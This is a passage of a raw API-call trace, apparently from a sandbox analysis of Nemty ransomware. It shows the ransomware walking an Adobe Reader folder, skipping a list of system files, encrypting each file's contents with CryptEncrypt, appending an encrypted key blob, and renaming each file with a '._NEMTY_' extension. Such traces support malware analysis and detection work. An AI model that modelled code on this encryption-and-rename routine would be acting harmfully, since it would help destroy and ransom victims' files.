hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.455] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x550, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x550, lpOverlapped=0x0) returned 1 [0193.456] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.456] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x550, lpOverlapped=0x0) returned 1 [0193.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.456] SetFilePointer (in: hFile=0x254, lDistanceToMove=1360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x550 [0193.457] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.457] CloseHandle (hObject=0x254) returned 1 [0193.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0193.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0193.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0193.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0193.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.457] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_initiator.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_initiator.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_initiator.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_initiator.gif._nemty_kgobjgd_")) returned 1 [0193.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0193.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.458] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ended_review_or_form.gif", cAlternateFileName="ENDED_~1.GIF")) returned 1 [0193.458] lstrcmpiW (lpString1="ended_review_or_form.gif", lpString2=".") returned 1 [0193.458] lstrcmpiW (lpString1="ended_review_or_form.gif", lpString2="..") returned 1 [0193.458] lstrcmpiW (lpString1="ended_review_or_form.gif", lpString2="...") returned 1 [0193.458] lstrcmpiW (lpString1="ended_review_or_form.gif", lpString2="windows") returned -1 [0193.458] lstrcmpiW (lpString1="ended_review_or_form.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.458] lstrcmpiW (lpString1="ended_review_or_form.gif", lpString2="rsa") returned -1 [0193.458] lstrcmpiW (lpString1="ended_review_or_form.gif", lpString2="NTDETECT.COM") returned -1 [0193.458] lstrcmpiW (lpString1="ended_review_or_form.gif", lpString2="ntldr") returned -1 [0193.458] lstrcmpiW (lpString1="ended_review_or_form.gif", lpString2="MSDOS.SYS") returned -1 [0193.458] lstrcmpiW (lpString1="ended_review_or_form.gif", lpString2="IO.SYS") returned -1 [0193.458] lstrcmpiW (lpString1="ended_review_or_form.gif", lpString2="boot.ini") returned 1 [0193.458] lstrcmpiW (lpString1="ended_review_or_form.gif", lpString2="boot.ini") returned 1 [0193.458] lstrcmpiW (lpString1="ended_review_or_form.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.458] lstrcmpiW (lpString1="ended_review_or_form.gif", lpString2="ntuser.dat") returned -1 [0193.458] lstrcmpiW (lpString1="ended_review_or_form.gif", lpString2="desktop.ini") returned 1 [0193.458] lstrcmpiW (lpString1="ended_review_or_form.gif", lpString2="CONFIG.SYS") returned 1 [0193.458] lstrcmpiW (lpString1="ended_review_or_form.gif", lpString2="RECYCLER") returned -1 [0193.459] lstrcmpiW (lpString1="ended_review_or_form.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.459] lstrcmpiW (lpString1="ended_review_or_form.gif", lpString2="bootmgr") returned 1 [0193.459] lstrcmpiW (lpString1="ended_review_or_form.gif", lpString2="programdata") returned -1 [0193.459] lstrcmpiW (lpString1="ended_review_or_form.gif", lpString2="appdata") returned 1 [0193.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ended_review_or_form.gif", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0193.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ended_review_or_form.gif", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ended_review_or_form.gif", lpUsedDefaultChar=0x0) returned 24 [0193.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0193.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ended_review_or_form.gif", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0193.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ended_review_or_form.gif", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ended_review_or_form.gif", lpUsedDefaultChar=0x0) returned 24 [0193.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0193.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ended_review_or_form.gif", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0193.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ended_review_or_form.gif", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ended_review_or_form.gif", lpUsedDefaultChar=0x0) returned 24 [0193.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ended_review_or_form.gif", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0193.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ended_review_or_form.gif", cchWideChar=24, lpMultiByteStr=0x4f9ed08, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ended_review_or_form.gif", lpUsedDefaultChar=0x0) returned 24 [0193.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94330 [0193.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0193.459] Sleep (dwMilliseconds=0x5) [0193.469] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26f6a170, dwHighDateTime=0x1d561e8)) [0193.469] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26f6a170, dwHighDateTime=0x1d561e8)) [0193.469] GetLastError () returned 0x0 [0193.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.469] GetLastError () returned 0x0 [0193.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.469] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.469] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.470] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0193.470] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="Q5O1jI/yyEQICwd7mMMr6TCwEqpkcXh7fC0n/g97BFflwYsSpFSUj15D6KXyPKpP\r\neaeIhBJiaPWD6ug1V7PfkBDOUB/hACXqoRq3mfrTd2kQHWL1c1wbfW2ADb0MYoqJ\r\nD8VAl5nx9tHufruoQX77gskXiXg1S1Ai77blr8584iXL/D7MEqk3pbuUgaspUHHm\r\n4WBbstB89r8dwtWQOvmrvysS94iGxNLim41Cc3scOZaLyboHh6IaEqJuHB0Sf3SE\r\nfJgl9zqsjfVvLu6rBCNGCVYtluIf1/4L7FhCfZcp3X+v2sBMmLqzryocOHlVBY7Z\r\nyrZc0vsmS9huIjpNgiLUsA==\r\n", pcchString=0x653e91c) returned 1 [0193.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0193.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.470] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ended_review_or_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\ended_review_or_form.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.470] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=807) returned 1 [0193.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x320) returned 0x6340100 [0193.470] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.470] ReadFile (in: hFile=0x254, lpBuffer=0x6340100, nNumberOfBytesToRead=0x320, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesRead=0x653eb64*=0x320, lpOverlapped=0x0) returned 1 [0193.472] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.472] WriteFile (in: hFile=0x254, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653eb5c*=0x320, lpOverlapped=0x0) returned 1 [0193.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0193.472] SetFilePointer (in: hFile=0x254, lDistanceToMove=807, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x327 [0193.472] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.472] CloseHandle (hObject=0x254) returned 1 [0193.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0193.472] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.472] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401b8 [0193.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340270 [0193.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0193.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.473] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ended_review_or_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\ended_review_or_form.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\ended_review_or_form.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\ended_review_or_form.gif._nemty_kgobjgd_")) returned 1 [0193.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0193.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0193.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.474] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="end_review.gif", cAlternateFileName="END_RE~1.GIF")) returned 1 [0193.474] lstrcmpiW (lpString1="end_review.gif", lpString2=".") returned 1 [0193.474] lstrcmpiW (lpString1="end_review.gif", lpString2="..") returned 1 [0193.474] lstrcmpiW (lpString1="end_review.gif", lpString2="...") returned 1 [0193.474] lstrcmpiW (lpString1="end_review.gif", lpString2="windows") returned -1 [0193.474] lstrcmpiW (lpString1="end_review.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.474] lstrcmpiW (lpString1="end_review.gif", lpString2="rsa") returned -1 [0193.474] lstrcmpiW (lpString1="end_review.gif", lpString2="NTDETECT.COM") returned -1 [0193.474] lstrcmpiW (lpString1="end_review.gif", lpString2="ntldr") returned -1 [0193.474] lstrcmpiW (lpString1="end_review.gif", lpString2="MSDOS.SYS") returned -1 [0193.474] lstrcmpiW (lpString1="end_review.gif", lpString2="IO.SYS") returned -1 [0193.474] lstrcmpiW (lpString1="end_review.gif", lpString2="boot.ini") returned 1 [0193.474] lstrcmpiW (lpString1="end_review.gif", lpString2="boot.ini") returned 1 [0193.474] lstrcmpiW (lpString1="end_review.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.474] lstrcmpiW (lpString1="end_review.gif", lpString2="ntuser.dat") returned -1 [0193.474] lstrcmpiW (lpString1="end_review.gif", lpString2="desktop.ini") returned 1 [0193.474] lstrcmpiW (lpString1="end_review.gif", lpString2="CONFIG.SYS") returned 1 [0193.474] lstrcmpiW (lpString1="end_review.gif", lpString2="RECYCLER") returned -1 [0193.474] lstrcmpiW (lpString1="end_review.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.474] lstrcmpiW (lpString1="end_review.gif", lpString2="bootmgr") returned 1 [0193.474] lstrcmpiW (lpString1="end_review.gif", lpString2="programdata") returned -1 [0193.474] lstrcmpiW (lpString1="end_review.gif", lpString2="appdata") returned 1 [0193.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="end_review.gif", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0193.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="end_review.gif", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="end_review.gif", lpUsedDefaultChar=0x0) returned 14 [0193.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="end_review.gif", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0193.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="end_review.gif", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="end_review.gif", lpUsedDefaultChar=0x0) returned 14 [0193.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.474] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="end_review.gif", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0193.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="end_review.gif", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="end_review.gif", lpUsedDefaultChar=0x0) returned 14 [0193.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="end_review.gif", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0193.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="end_review.gif", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="end_review.gif", lpUsedDefaultChar=0x0) returned 14 [0193.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.475] Sleep (dwMilliseconds=0x5) [0193.485] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26f902d0, dwHighDateTime=0x1d561e8)) [0193.485] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26f902d0, dwHighDateTime=0x1d561e8)) [0193.485] GetLastError () returned 0x0 [0193.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.485] GetLastError () returned 0x0 [0193.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.485] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.485] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.485] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0193.485] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, 